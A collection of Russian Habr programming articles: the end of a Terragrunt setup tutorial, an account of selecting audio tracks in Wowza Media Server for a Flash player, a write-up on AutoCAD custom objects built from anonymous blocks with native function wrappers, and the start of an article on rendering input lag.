Теперь, если бы мы расширились в ЕС и тихий час для наших клиентов из ЕС был `tue21:00-22:00`, то можно было бы сделать что-то вроде этого:
```
dev/
-> environment.yaml
-> us-east-1/
-> region.yaml
-> eu-west-1/
-> region.yaml
-> applications/
-> app-c/
-> database/
-> terragrunt.hcl
```
И `eu-west-1/region.yaml` будет выглядеть следующим образом:
```
maintainence_window: tue21:00-22:00
```
Я уверен, теперь вы уже начинаете понимать, что можно легко распространить общую переменную по поддеревьям, чтобы легко настроить свою инфраструктуру без необходимости копипастить значения повсюду.
Последняя общая переменная, которую мы создадим, будет для каждого приложения, имя приложения, вероятно, появится где-то в ресурсах для него.
```
dev/
-> environment.yaml
-> us-east-1/
-> region.yaml
-> eks-cluster/
-> terragrunt.hcl
-> applications/
-> app-a/
-> app.yaml
-> database/
-> terragrunt.hcl
-> cache/
-> terragrunt.hcl
-> s3-bucket/
-> terragrunt.hcl
-> app-b/
-> app.yaml
-> iam-role/
-> terragrunt.hcl
```
И каждый `app.yaml` будет выглядеть примерно так:
```
app_name:
```
Итак, не все входные переменные будут общими, есть и специфические для отдельных модулей.
Их можно задавать непосредственно в модуле.
Давайте посмотрим, что на самом деле представляет собой `terragrunt.hcl`:
```
terraform {
source = "Link to Terraform Module on Github"
}
include {
path = find_in_parent_folders()
}
inputs = {
module_specific_variable = "amazing"
```
Это довольно простой файл.
Вам понадобится ссылка на модуль, который вы хотите применить, он работает только со ссылками на Github, поэтому здесь нет ссылок на реестр модулей Terraform.
Пока игнорируйте include, он связан с поиском общих файлов переменных, мы к этому еще вернемся.
`inputs` - это место, где вы можете передавать любые входные данные модулям.
Если переменная `input` имеет то же имя, что и переменная, определенная в одном из наших общих файлов переменных `.yaml`, то она будет автоматически принята.
Если переменная не из общего файла определения, вы можете ввести ее здесь вручную.
Есть еще несколько моментов, которые следует упомянуть о входных переменных, пока мы здесь.
Мы настроим Terragrunt на использование первого определения переменной, которое он найдет, чтобы мы могли переопределять значения дженерики, предоставленные файлами `.yaml`, с более конкретными значениями, расположенными дальше по дереву.
Вероятно, вы также встретите ситуации, когда вы назвали переменную дженерик как-то вроде `environment_name`, однако некоторые модули ожидают, что она будет называться `environment` или `env_name`.
Это хорошая особенность Terragrunt, потому что быстро станет ясно, где ваши модули не соответствуют друг другу, и вы сможете со временем привести все в соответствие.
В краткосрочной перспективе вы можете изменить имена переменных дженериков на более конкретные имена модулей.
```
locals {
env_vars = yamldecode(
file("${find_in_parent_folders("environment.yaml")}"),
)
}
inputs {
env_name = local.env_vars['environment_name']
}
```
### Зависимости
Кроме того, вполне вероятно, что входные данные одного модуля будут являться выходными данными другого.
Например, допустим, наш модуль `eks-cluster` выводит `worker-sg-id` - идентификатор группы безопасности, используемой воркерами `K8s`.
Затем наш модуль базы данных принимает входной параметр `sg_to_allow_access_from` - ID группы безопасности, для которой он будет создавать правило входа.
Вы можете использовать выход одного модуля в качестве входа для другого следующим образом:
```
dependency "k8s-worker-sg" {
config_path = "../../eks-cluster"
}
inputs = {
sg_to_allow_access_from = dependency.k8s-worker-sg.outputs.worker-sg-id
}
```
Здесь описано практически все, что вам понадобится, чтобы начать работу с файлами Terragrunt, отказавшись от копипаста переменных повсюду.
**Файл конфигурации Terragrunt**
Но мы все еще не можем запустить `terragrunt`, так как для того, чтобы связать все воедино, необходима какая-то конфигурация.
Ранее мы видели, что файл состояния Terraform охватывает все ресурсы в нашем окружении.
Из-за этого команды Terraform требовали все больше времени для выполнения по мере роста нашей среды, и мы рисковали затронуть все ресурсы, если бы каким-то образом повредили состояние.
В данной установке Terragrunt мы можем создавать по одному файлу состояния на "листовой узел" дерева каталогов, поэтому, по сути, там, где есть файл `terragrunt.hcl`, определяющий применяемый модуль, мы создаем новый файл состояния.
Это делает работу Terraform очень быстрой и уменьшает последствия повреждения файла состояния.
Нам нужно создать файл `terragrunt.hcl` в `dev/us-east-1/terragrunt.hcl`, и вместо определения модуля Terraform для применения, он определяет всю нашу конфигурацию Terragrunt, которую все остальные файлы `terragrunt.hcl` импортируют с помощью оператора `include`, который мы видели ранее.
```
include {
path = find_in_parent_folders()
}
```
`find_in_parent_folders` - это встроенная функция Terragrunt, которая возвращает первый файл `terragrunt.hcl`, найденный в родительских папках.
Итак, давайте запустим наш файл `dev/us-east-1/terragrunt.hcl` и определим нашу конфигурацию состояния
```
remote_state {
backend = "s3"
config = {
bucket = "S3 BUCKET NAME"
key = "${path_relative_to_include()}/terraform.tfstate"
region = "AWS REGION"
encrypt = true
dynamodb_table = "DYNAMO DB TABLE"
}
}
```
Это использует S3 и DynamoDB для хранения состояния / получения эксклюзивных блокировок на файл состояния, как мы видели раньше без Terragrunt.
Но строка `key = ...` означает, что внутри S3-бакета будет структура каталогов, имитирующая структуру папок Terragrunt с файлами состояния.
Также, помните, как в исходном чистом Terraform мы должны были выполнить хитроумные манипуляции для бутстрапа S3-бакета и таблицы DynamoDB?
Terragrunt автоматически их создаст, если они не существуют, решив тем самым эту проблему.
Однако существует один недостаток: все модули Terraform, которые вы применяете, должны определять следующие параметры
```
terraform {
backend "s3" {}
}
```
в модуле, чтобы Terragrunt мог заполнить детали при запуске.
В 2017 году на Github появилась тема с обсуждением этого - <https://github.com/gruntwork-io/terragrunt/issues/230>.
Теперь нам нужно сказать Terragrunt, где найти все те общие файлы переменных, которые мы определили.
```
inputs = merge(
yamldecode(
file("${find_in_parent_folders("environment.yaml", find_in_parent_folders("environment.yaml"))}"),
),
yamldecode(
file("${find_in_parent_folders("region.yaml", find_in_parent_folders("environment.yaml"))}"),
),
yamldecode(
file("${find_in_parent_folders("app.yaml", find_in_parent_folders("environment.yaml"))}"),
),
)
```
Как и раньше, `find_in_parent_folders` заставляет Terragrunt искать в дереве модулей, где они определены, первое упоминание файла.
Второй параметр для `file` - это значение по умолчанию, которое будет использоваться, если он не сможет найти файл, в данном случае мы возвращаемся к `environment.yaml`, который всегда существует, и это означает, что если у нас есть ситуация, когда модуль вложен не слишком глубоко, чтобы все файлы `app.yaml`, `region.yaml` и `environment.yaml` были в его родительских каталогах, он не разделяется.
`merge` - стандартная функция Terraform - <https://www.terraform.io/docs/language/functions/merge.html>
Это означает, что любые переменные, определенные ниже по дереву, переопределяют переменные, расположенные выше.
Еще один последний параметр конфигурации, и все готово.
Провайдер AWS, который мы используем, нуждается в настройке, мы можем использовать способность Terragrunts генерировать файлы, чтобы поместить идентичную конфигурацию в рабочий каталог перед запуском Terraform, а не копипастить ее 100 раз.
```
generate "aws_provider" {
path = "aws_provider.tf"
if_exists = "overwrite_terragrunt"
contents = <
```
Это позволит генерировать файл `aws_provider.tf` в рабочем каталоге каждый раз, когда выполняется команда, передающая наши необходимые опции.
Теперь мы можем запускать команды Terragrunt и создавать нашу инфраструктуру.
Есть два варианта запуска команд Terragrunt:
1. В нескольких папках, что позволяет нам создавать несколько модулей одновременно.
2. В одном модуле для более быстрого/целевого применения.
### run-all команды
Если вы хотите запускать команды сразу для нескольких модулей, это можно сделать с помощью команды `run-all`.
Например, если вы запустите команду `terragrunt run-all plan` в каталоге `dev`, она запустит `terraform plan` в каждом подкаталоге и представит вам план.
При первом запуске команд в папке он проверит, существуют ли файлы состояния Terraform и таблицы блокировки, и предложит вам их создать, если они отсутствуют.
### Применение одного модуля
Если вы хотите применить изменения только к одному модулю Terraform, вы можете доставить `cd` в эту директорию и запустить `terragrunt` ; изменения будут применены только к текущей рабочей директории.
### Кэширование модулей
Одна из раздражающих причуд Terragrunt заключается в том, что после загрузки модуля он не будет повторно выбирать его, если источник изменится.
Например, если у вас есть `ref = github.com/module?ref=my-branch` и вы внесли новые изменения в `my-branch` после запуска `terragrunt apply`, он не заметит, что источник изменился, и получит новые изменения.
Вам нужно очистить кэш Terragrunt с помощью `find . -type d -name ".terragrunt-cache" -prune -exec rm -rf {}` ;
### Резюме
Теперь у нас есть полностью рабочая установка Terragrunt, чтобы подытожить то, что мы получили:
* Небольшие файлы состояний для каждого модуля, что позволяет быстрее выполнять команды `terraform` и уменьшает последствия потери/повреждения одного файла состояния
* четко определенная структура для размещения нашей инфраструктуры, основанная на структурах каталогов, которые отражают то, как логически обосновывается инфраструктура
* Возможность использовать общие файлы переменных, что позволяет определять переменные на нескольких уровнях и автоматически передавать их в модули Terraform, чтобы легко поддерживать согласованность настроек на нескольких уровнях, с возможностью переопределения более общих значений, если это необходимо.
* Возможность объявить, что один модуль зависит от другого, создавая модули в соответствующем порядке и передавая выходные переменные между ними
* Невозможность создавать произвольные специальные ресурсы вне модуля Terraform с версией, что снижает вероятность того, что ресурсы/изменения не будут распространены в другие среды.
* Возможность автоматически повторять команды Terraform при возникновении определенных ошибок, что уменьшает влияние нестабильных / в конечном итоге несовместимых API.
Это не работает идеально, так как есть некоторые ограничения/проблемы:
* Каждый используемый модуль Terraform должен определять пустой блок `backend`, что означает, придется модифицировать каждый имеющийся у вас модуль, и нельзя использовать модули сообщества.
* Вы не можете использовать ссылки на реестр модулей Terraform, теряя возможность указывать версии, которые могут быть слабо заблокированы, и, вероятно, вам придется предоставить учетные данные для аутентификации на Git, чтобы Terragrunt получал модули с Github.
* Вам и всем остальным членам команды необходимо изучить Terragrunt.
* Теперь у вас есть еще один инструмент, который необходимо постоянно обновлять наряду с Terraform.
* Если вы не были особенно внимательны к тому, чтобы ваши входные переменные модулей назывались единообразно, то вы не получите многих преимуществ общих файлов переменных без некоторого рефакторинга.
### Пример Repo
В этом посте много блоков кода, вы можете увидеть их все вместе в примере репо здесь - <https://github.com/AaronKalair/example-terragrunt-repo>.
---
> Материал подготовлен в рамках курса [«Infrastructure as a code»](https://otus.pw/DNM3/). Если вам интересно узнать подробнее о формате обучения и программе, познакомиться с преподавателем курса — приглашаем на день открытых дверей онлайн. Регистрация [**здесь.**](https://otus.pw/s8qgY/)
>
> | https://habr.com/ru/post/594239/ | null | ru | null |
# Переключение звуковых дорожек в Flash с помощью RTMP сервера Wowza2
В данной статье описана древняя история о том, как мне удалось реализовать переключение звуковых дорожек для Flash-плеера с помощью RTMP сервера Wowza Media Server 2.
В далеком 2011 году я занимался исследованием возможностей стриминговых серверов для Adobe Flash Player'а. Передо мной стояла задача найти способ воспроизведения видео файлов с несколькими звуковыми дорожками. При этом было необходимо, чтобы переключение происходило без скачков по воспроизводящемуся видео. Поиск готовых решений в интернете никаких результатов тогда не дал. Более того, выяснилось, что сам Adobe Flash Player переключать дорожки не умеет и использует только первую попавшуюся…
Выручила меня реклама Adobe Flash Media Server'а. В примерах этого сервера был плеер с поддержкой адаптивного стриминга. Он умел незаметно переключать видео поток с одного битрейта на другой и обратно. Немного покопавшись, я обнаружил следующие подробности:
* видео должно быть заранее закодировано в разных битрейтах;
* передача данных идет по протоколу RTMP;
* переключение качества идет по команде Flash приложения, с помощью функции NetStream.play2.
Я попробовал проделать этот трюк на файлах с одинаковым видео, но с разными аудио дорожками. Эксперимент удался успешно, переключая потоки, я слышал разные звуковые дорожки, при этом переход от одного видео файла к другому визуально был незаметен. Но радоваться было еще рано, так как вместе с N звуковыми дорожками приходится также хранить N копий видеоряда, а это слишком накладно.
Проанализировав данные, которые сервер отдает Flash-плееру по RTMP протоколу, я обнаружил, что аудио и видео потоки идут в отдельных друг от друга пакетах. При этом, лишние звуковые дорожки не передавались вовсе. То есть, выделением нужных дорожек из контейнера (demuxing) занимается сам RTMP сервер. Эта информация воодушевила меня, и я принялся подробнее изучать RTMP сервера с возможностью адаптивного стриминга. Одним из таких серверов оказался Wowza Media Server версии 2.
Отличительная особенность Wowza Media Server'а заключается в том, что он позволяет создавать классы для воспроизведения любых медиа файлов, для этого достаточно реализовать интерфейс IMediaReader и объявить свой класс в конфигурации сервера. Но вместо написания собственного декодера mp4 контейнера я принялся за реверс-инжиниринг классов сервера.
Декомпилировав классы MediaReaderH264 и QTMediaContainer из файла wms-mediareader-h264.jar, я обратил внимание на следующие строки:
```
// MediaReaderH264.class
import com.wowza.wms.mediareader.h264.atom.QTAtommoov;
import com.wowza.wms.mediareader.h264.atom.QTMediaContainer;
. . .
public class MediaReaderH264 implements IMediaReader
{
. . .
protected QTMediaContainer container;
}
```
```
// QTMediaContainer.class
public class QTMediaContainer extends QTAtom
{
public QTAtommoov getMoovAtom()
{
return moovAtom;
}
. . .
private QTAtommoov moovAtom;
}
```
Во-первых, очевидно, что MediaReaderH264 имеет доступ до moov-атома. Во-вторых, так как ссылка на контейнер является protected-полем, доступ можно получить наследуясь от этого класса.
Что же такое moov-атом? По спецификации контейнера mp4, атом moov содержит в себе всю информацию о частоте кадров, длине фильма, расположении кадров, конфигурации декодеров итп. Также он содержит в себе набор trak-атомов, которые описывают аудио и видео дорожки, а это как раз то, что нам нужно.
Декомпилировав класс QTAtommoov, можно увидеть следующую картину:
```
public class QTAtommoov extends QTAtom
{
public QTAtomtrak getTrackByMinf(String s)
{
QTAtomtrak qtatomtrak = null;
Iterator iterator = traks.iterator();
do
{
if(!iterator.hasNext())
break;
QTAtomtrak qtatomtrak1 = (QTAtomtrak)iterator.next();
if(qtatomtrak1 == null || !qtatomtrak1.getMinfType().equals(s))
continue;
qtatomtrak = qtatomtrak1;
break;
} while(true);
return qtatomtrak;
}
public QTAtomtrak getAudioTrack()
{
QTAtomtrak qtatomtrak = getTrackByMinf("smhd");
try
{
QTAtomstbl qtatomstbl = qtatomtrak != null ? qtatomtrak.getMdiaAtom().getMinfAtom().getStblAtom() : null;
if(!qtatomstbl.isValidAudioFormat())
qtatomtrak = null;
}
catch(Exception exception) { }
return qtatomtrak;
}
. . .
}
```
При попытке получить аудио дорожку, сервер идет по всем trak-атомам и выбирает первый попавшийся с типом smhd (sound media header). То есть, выбирается самая первая звуковая дорожка.
Чтобы проверить свои догадки, я решил сделал инъекцию в код библиотеки Wowza Media Server'а. Сначала я думал немного поправить декомпилированный код класса QTAtommoov, скомпилировать его обратно и просто заменить файл в jar-архиве. Но, к моему удивлению, все оказалось значительно проще. В исходниках серверного приложения я создал пакет com.wowza.wms.mediareader.h264.atom и поместил туда файл QTAtommoov.java со следующим содержанием:
```
public class QTAtommoov extends QTAtom
{
public int aTrackNum = 2;
. . .
public QTAtomtrak getTrackByMinf(String s, int count)
{
QTAtomtrak qtatomtrak = null;
Iterator iterator = traks.iterator();
do
{
if(!iterator.hasNext())
break;
QTAtomtrak qtatomtrak1 = (QTAtomtrak)iterator.next();
if(qtatomtrak1 == null || !qtatomtrak1.getMinfType().equals(s))
continue;
if (--count <= 0)
{
qtatomtrak = qtatomtrak1;
break;
}
} while(true);
return qtatomtrak;
}
public QTAtomtrak getTrackByMinf(String s)
{
return getTrackByMinf(s, 1);
}
public QTAtomtrak getAudioTrack()
{
QTAtomtrak qtatomtrak = getTrackByMinf("smhd", aTrackNum);
try
{
QTAtomstbl qtatomstbl = qtatomtrak != null ? qtatomtrak.getMdiaAtom().getMinfAtom().getStblAtom() : null;
if(!qtatomstbl.isValidAudioFormat())
qtatomtrak = null;
}
catch(Exception exception) { }
return qtatomtrak;
}
}
```
Таки образом, была сделана небольшая модификация: вместо первой попавшейся аудио дорожки возвращалась вторая.
Скомпилировав и развернув сервер в таком виде, я был приятно удивлен тем, что внутри jar-библиотеки подцепился и работает мой класс, а Flash-плеер играет вторую звуковую дорожку в файле. Мне даже не пришлось пересобирать jar-библиотеку.
До финальной реализации прототипа переключения звуковых дорожек, оставалось лишь реализовать расширенный класс MediaReaderH264ext и объявить его в конфигурации сервера.
```
public class MediaReaderH264ext extends MediaReaderH264 implements IMediaReader
{
private String filename;
private int aTrackNum;
private void init(String basePath, String mediaName)
{
HashMap params = new HashMap();
String[] query = mediaName.split(":", 2);
if (query.length > 1)
{
String[] args = query[1].split("&");
for (String arg : args)
{
String[] keyvalue = arg.split("=", 2);
params.put(keyvalue[0], keyvalue.length > 1 ? keyvalue[1] : "");
}
}
filename = query[0];
aTrackNum = "rus".equals(params.get("lang")) ? 2 : 1;
WMSLoggerFactory.getLogger(MediaReaderH264ext.class).info("filename: " + filename);
WMSLoggerFactory.getLogger(MediaReaderH264ext.class).info("aTrackNum: " + aTrackNum);
}
@Override
public void init(IApplicationInstance iapplicationinstance, IMediaStream imediastream, String ext, String basePath, String name)
{
WMSLoggerFactory.getLogger(MediaReaderH264ext.class).info("init: " + name);
this.init(basePath, name);
super.init(iapplicationinstance, imediastream, ext, basePath, filename);
}
@Override
public void open(String basePath, String name)
{
WMSLoggerFactory.getLogger(MediaReaderH264ext.class).info("open: " + name);
super.open(basePath, name);
if (container != null && container.getMoovAtom() != null)
container.getMoovAtom().aTrackNum = this.aTrackNum;
}
}
```
А для переключения звука, во Flash-плеере вызывался код:
```
var opt = new NetStreamPlayOptions();
opt.transition = NetStreamPlayTransitions.SWITCH;
opt.streamName = "mp4e:video.mp4:lang=rus";
ns.play2(opt);
``` | https://habr.com/ru/post/263747/ | null | ru | null |
# Создание «нестандартного» кастомного объекта для AutoCAD, работающего без Object Enabler
Добрый день.
Те, кто имеет дело с AutoCAD и сторонними решениями для него, наверняка, сталкивались с проблемой прокси объектов, для отображения или перемещения которых требуется установить библиотеки, с помощью которых были созданы данные объекты или так называемые **Objects Enablers**, от тех же разработчиков. Это достаточно неудобно. Например, получили вы документ от заказчика/субподрядчика и видите только квадраты.
Хочу поделиться с Вами личным опытом создания «нетрадиционного» объекта для AutoCAD. За основу взят анонимный блок. Свойства объекта хранятся отдельно в **BlockReference::ExtensionDictionary.** Что дает возможность стороннему приложению или скрипту получить к ним доступ и считать их, а при желании изменить, без наличия оригинальных библиотек. Примитивы внутри блока всегда отрисовываются в соответствии со своим состоянием. Да и вообще, устойчивость работы AutoCAD значительно выше. Со стороны все выглядит просто. Но при попытке реализовать данный механизм были выявлены различные «подводные камни». Об этом по порядку.
Для начала требуется реализовать **Jig**, унаследованный от **EntityJig** – для задания порядка ввода данных, необходимых для создания объекта. В нем мы должны определить, сколько состояний нам требуется, в моем случае это выглядит так:
```
public enum MyJigState
{
EnteringBasePoint,
EnteringEndPoint,
Done
}
```
Основными методами данного класса будут **Update()** и **Sampler()** в итоге у меня получился такой класс:
```
public class MyJig : EntityJig
{
public enum MyJigState
{
EnteringBasePoint,
EnteringEndPoint,
Done
}
MyJigState _state = MyJigState.EnteringBasePoint;
PointSampler _basePoint = new PointSampler(AcGe.Point3d.Origin);
PointSampler _endPoint = new PointSampler(new AcGe.Point3d(10, 10, 0));
LevelMark _levelMark;
public MyJig(LevelMark levelmark, BlockReference reference)
: base(reference)
{
this._levelMark = levelmark;
}
protected override bool Update()
{
try
{
Document doc = Autodesk.AutoCAD.ApplicationServices.Application.DocumentManager.MdiActiveDocument;
using (DocumentLock dl = doc.LockDocument(DocumentLockMode.ProtectedAutoWrite, null, null, true))
{
using (var transaction = Acad.TransactionManager.StartTransaction())
{
BlockReference reference = (BlockReference)transaction.GetObject(this.Entity.Id, OpenMode.ForWrite, true);
reference.Erase(false);
reference.Position = this._levelMark.InsertionPoint;
reference.BlockUnit = Acad.Database.Insunits;
transaction.Commit();
}
this._levelMark.UpdateEntities();
this._levelMark.BlockRecord.UpdateAnonymousBlocks();
}
}
catch (System.Exception ex)
{
return false;
}
return true;
}
public MyJigState State
{
get
{
return this._state;
}
set
{
this._state = value;
}
}
protected override SamplerStatus Sampler(JigPrompts prompts)
{
try
{
switch (_state)
{
case MyJigState.EnteringBasePoint:
return _basePoint.Acquire(prompts, "\nВведите точку вставки:", value =>
{
Matrix3d ucs = Acad.Editor.CurrentUserCoordinateSystem;
this._levelMark.InsertionPoint = value
});
case MyJigState.EnteringEndPoint:
return _endPoint.Acquire(prompts, "\nВведите конечную точку:", value =>
{
Matrix3d ucs = Acad.Editor.CurrentUserCoordinateSystem;
this._levelMark.EndPoint = value
});
default:
return SamplerStatus.NoChange;
}
}
catch
{
return SamplerStatus.NoChange;
}
}
}
```
Основной класс объекта я унаследовал от EntityOverride и переопределил Entities:
```
private Lazy line = new Lazy(() => new AcDb.Line(Point3d.Origin, new Point3d(10, 0, 0)));
private Lazy simbolPoly = new Lazy(() => new AcDb.Polyline());
private Lazy arrowPoly = new Lazy(() => new AcDb.Polyline());
private Lazy text = new Lazy(() => new AcDb.MText());
private Lazy note = new Lazy(() => new AcDb.MText());
public override IEnumerable Entities
{
get
{
yield return line.Value;
yield return simbolPoly.Value;
yield return arrowPoly.Value;
yield return text.Value;
yield return note.Value;
}
}
```
Что дает возможность не париться об отрисовке объектов входящих в состав блока. Также в данном классе я реализовал функцию, которая по требованию пересчитывает положение и распределение примитивов внутри блока.
После создания экземпляра нашего класса вызывается функция для создания **BlockReference**, который сразу же удаляется **Erase(true)** – это дает возможность при прерывании ввода автоматически удалить объект при сохранении файла.
```
static BlockReference CreateBlock(ref LevelMark lm, ObjectContextCollection occ, ObjectId layerId)
{
ObjectId id;
BlockReference reference;
using (AcAp.Application.DocumentManager.MdiActiveDocument.LockDocument())
{
using (var transaction = Acad.TransactionManager.StartTransaction())
{
using (var blockTable = Acad.Database.BlockTableId.Write())
{
var blockId = blockTable.Add(lm.BlockRecord);
reference = new AcDb.BlockReference(lm.InsertionPoint, blockId);
using (var modelSpace = Acad.Database.CurrentSpaceId/\*modelSpaceId\*/.Write())
{
Matrix3d ucs = Acad.Editor.CurrentUserCoordinateSystem;
reference.TransformBy(ucs);
id = modelSpace.AppendEntity(reference);
ResultBuffer xData = new ResultBuffer(new TypedValue[] {
new TypedValue((int)DxfCode.ExtendedDataRegAppName, MyPlugin.CurrentDictionaryName),
new TypedValue((int)DxfCode.ExtendedDataAsciiString, "This is a " + MyPlugin.CurrentDictionaryName) });
reference.XData = xData;
reference.LayerId = layerId;
xData.Dispose();
}
transaction.AddNewlyCreatedDBObject(reference, true);
reference.Erase(true);
transaction.AddNewlyCreatedDBObject(lm.BlockRecord, true);
}
transaction.Commit();
}
if (id != null)
{
lm.BlockId = id;
lm.UpdateParameters(id);
}
}
return reference;
}
```
Попутно данная функция помещает в **XData** информацию о том, что это наш объект – для последующего поиска его среди других блоков.
Вроде с созданием самого объекта все просто (хотя на пути к этому пару раз пришлось менять подход к реализации). Первые трудности возникли при добавлении к блоку своих грипов (ручек) и управлении ими, а так же при отмене изменений.
Сделав все по документации Autodesk, унаследовав класс работы с грипами от GripOverrule, столкнулся с трудностями. Они заключались в том, что я потерял возможность отменить изменения, произведенные с объектом. Поэтому мне пришлось создать второй экземпляр, основанный на данных из оригинала и проводить изменения с ним, а при положительном результате переносить все изменения в родительский объект. А также пришлось задействовать TransientManager. Все бы ничего, но оказалось, что в переопределенную функцию **MoveGripPointsAt** экземпляр объекта (**Entity**) передается как null, что повлекло за собой создание кастомного класса **GripData**, который хранит в себе **Id** объекта.
Следующим камнем оказалось одновременное изменение большого количества объектов одновременно. О нем я догадывался и ранее. Но не в таких масштабах. Панель свойст объекта реализована через стандартный механизм, а он предполагает работу через Com (в AutoCAD 2013 вроде вынесли в ARX), плюс к этому, закрытие транзакций после изменения объекта оказалось безумно долгим. Также постоянный вызов перерисовки объекта стандартными средствами оказался неудовлетворяющим потребностям, по скорости работы. По этим причинам было принято решение использовать ЛИСП функции, которые работают намного шустрее. Но это вылилось в работу по их поиску и оборачиванию в нормальный вид. Здесь стоит заметить, что некоторые из них платформозависимые.
```
[DllImport("acad.exe", CallingConvention = CallingConvention.Cdecl)]
private static extern IntPtr acedNEntSelP(string p1, long[] name, Point2d p3, bool p, Matrix3d p4, IntPtr p5);
public static ResultBuffer NEntSelP(string p1, ObjectId id, Point2d p3, bool p, Matrix3d p4, ref ResultBuffer p5)
{
long[] adsName = new long[2];
if (acdbGetAdsName(adsName, id) != 0)
return null;
IntPtr ip = acedNEntSelP(p1, adsName, p3, p, p4, p5.UnmanagedObject);
if (ip != IntPtr.Zero)
return ResultBuffer.Create(ip, false);
return null;
}
[DllImport("acad.exe", CallingConvention = CallingConvention.Cdecl)]
private static extern IntPtr acdbEntGet(long[] name);
public static ResultBuffer EntGet(ObjectId id)
{
long[] adsName = new long[2];
if (acdbGetAdsName(adsName, id) != 0)
return null;
IntPtr ip = acdbEntGet(adsName);
if (ip != IntPtr.Zero)
return ResultBuffer.Create(ip, false);
return null;
}
[DllImport("acdb18.dll", CallingConvention = CallingConvention.Cdecl)]
private static extern int acdbGetObjectId(ref ObjectId objId, long[] name);
[DllImport("acad.exe", CallingConvention = CallingConvention.Cdecl)]
private static extern int acdbEntMakeX(IntPtr resBuf, long[] adsName);
public static ObjectId EntMakeX(ResultBuffer resBuf)
{
long[] adsName = new long[2];
int ip = acdbEntMakeX(resBuf.UnmanagedObject, adsName);
if (ip == RTNORM)
{
ObjectId objId = new ObjectId();
acdbGetObjectId(ref objId, adsName);
return objId;
}
else
{
return ObjectId.Null;
}
}
[DllImport("acad.exe", CallingConvention = CallingConvention.Cdecl)]
private static extern int acdbEntDel(long[] name);
public static int EntDel(ObjectId id)
{
long[] adsName = new long[2];
if (acdbGetAdsName(adsName, id) != 0)
return RTERROR;
return acdbEntDel(adsName);
}
[DllImport("acad.exe", CallingConvention = CallingConvention.Cdecl)]
private static extern int acdbDictAdd(long[] dictName, string symName, long[] objName);
public static int DictAdd(ObjectId dictNameId, string symName, ObjectId objNameId)
{
long[] dictName = new long[2];
if (acdbGetAdsName(dictName, dictNameId) != 0)
return RTERROR;
long[] objName = new long[2];
if (acdbGetAdsName(objName, objNameId) != 0)
return RTERROR;
byte[] srcb = System.Text.UnicodeEncoding.Unicode.GetBytes(symName);
System.Text.ASCIIEncoding ue = new System.Text.ASCIIEncoding();
string dst = ue.GetString(srcb);
return acdbDictAdd(dictName, dst, objName);
}
const short RTNORM = 5100;
const short RTERROR = -5001;
#if WIN32
[DllImport("acdb18.dll", CallingConvention = CallingConvention.Cdecl, EntryPoint = "?acdbGetAdsName@@YA?AW4ErrorStatus@Acad@@AAY01JVAcDbObjectId@@@Z")]
public static extern int acdbGetAdsName(long[] objName, ObjectId objId);
//public static extern Autodesk.AutoCAD.Runtime.ErrorStatus acdbGetAdsName(out long adsName, ObjectId id);
#else
[DllImport("acdb18.dll", CallingConvention = CallingConvention.Cdecl, EntryPoint = "?acdbGetAdsName@@YA?AW4ErrorStatus@Acad@@AEAY01_JVAcDbObjectId@@@Z")]
public static extern int acdbGetAdsName(long[] objName, ObjectId objId);
#endif
[DllImport("acad.exe", CallingConvention = CallingConvention.Cdecl)]
public static extern int acdbEntUpd(long[] ent);
public static long[] GetAdsName(ObjectId id)
{
long[] adsName = new long[1];
acdbGetAdsName(adsName, id);
return adsName;
}
public static bool EntityUpdate(long[] adsName)
{
return (acdbEntUpd(adsName) == RTNORM);
}
public static bool EntityUpdate(ObjectId id)
{
long[] adsName = new long[1];
if (acdbGetAdsName(adsName, id) != 0)
return false;
return (acdbEntUpd(adsName) == RTNORM);
}
[DllImport("acad.exe", CallingConvention = CallingConvention.Cdecl)]
private static extern int acdbEntMod(System.IntPtr resbuf);
public static int EntMod(ResultBuffer resultBuffer)
{
return acdbEntMod(resultBuffer.UnmanagedObject);
}
#if WIN32
[DllImport("acad.exe",
CharSet = CharSet.Auto,
CallingConvention = CallingConvention.Cdecl,
EntryPoint = "?acedSetStatusBarProgressMeter@@YAHPB_WHH@Z")]
public static extern int acedSetStatusBarProgressMeter(string label, int minPos, int maxPos);
[DllImport("acad.exe",
CharSet = CharSet.Auto,
CallingConvention = CallingConvention.Cdecl,
EntryPoint = "?acedSetStatusBarProgressMeterPos@@YAHH@Z")]
public static extern int acedSetStatusBarProgressMeterPos(int pos);
[DllImport("acad.exe",
CharSet = CharSet.Auto,
CallingConvention = CallingConvention.Cdecl,
EntryPoint = "?acedRestoreStatusBar@@YAXXZ")]
public static extern int acedRestoreStatusBar();
#else
[DllImport("acad.exe",
CharSet = CharSet.Auto,
CallingConvention = CallingConvention.Cdecl,
EntryPoint = "?acedSetStatusBarProgressMeter@@YAHPEB_WHH@Z")]
public static extern int acedSetStatusBarProgressMeter(string label, int minPos, int maxPos);
[DllImport("acad.exe",
CharSet = CharSet.Auto,
CallingConvention = CallingConvention.Cdecl,
EntryPoint = "?acedSetStatusBarProgressMeterPos@@YAHH@Z")]
public static extern int acedSetStatusBarProgressMeterPos(int pos);
[DllImport("acad.exe",
CharSet = CharSet.Auto,
CallingConvention = CallingConvention.Cdecl,
EntryPoint = "?acedRestoreStatusBar@@YAXXZ")]
public static extern int acedRestoreStatusBar();
#endif
```
Дополнительно пришлось реализовать чтение/редактирование **XRecord** через данные функции.
Что значительно повысило производительность. На данный момент, если создать, к примеру, 1000 объектов, то при изменении свойств одновременно у них всех, скорость выше, чем при работе с 1000 кастомных объектов, созданных стандартными методами.
Принцип изложен очень кратко, но если кого-то заинтересует, можете обращаться через скайп:vsegodvadcatsimvolov или здесь.
Надеюсь кому-то окажется полезным.
[Пример уже готовой библиотеки, реализует работу отметки уровня](http://the-void.ru/?p=214) | https://habr.com/ru/post/154591/ | null | ru | null |
# Input lag во время рендеринга и как его побеждать
Привет всем. Многие из вас знакомы с лагом ввода. Это бывает, когда вас в очередной раз убивают в компьютерной игре, и вы кричите: «Ну я же нажал блок/атаку/уворот». Ну а затем джойстик летит в стену. Знакомо? Происходит это потому, что между нажатием клавиш и появлением результата на экране проходит значительное время. Фактически, когда вы смотрите в экран — вы видите прошлое состояние, которое может абсолютно не отражать действительность.
Если вы разрабатываете собственную игру, или вообще занимаетесь рендером, и хотите уменьшить задержки ввода, то крайне советую заглянуть под кат.
Итак, Input lag в любой игре складывается из:
1. Задержки на контроллере
2. Сетевого лага (если это онлайн игра)
3. Лага рендеринга.
В данной статье мы рассмотрим только третий лаг, связанный с рендером. Нам придется немного углубится в то, как происходит рендеринг на современном компьютере.
### CPU + GPU
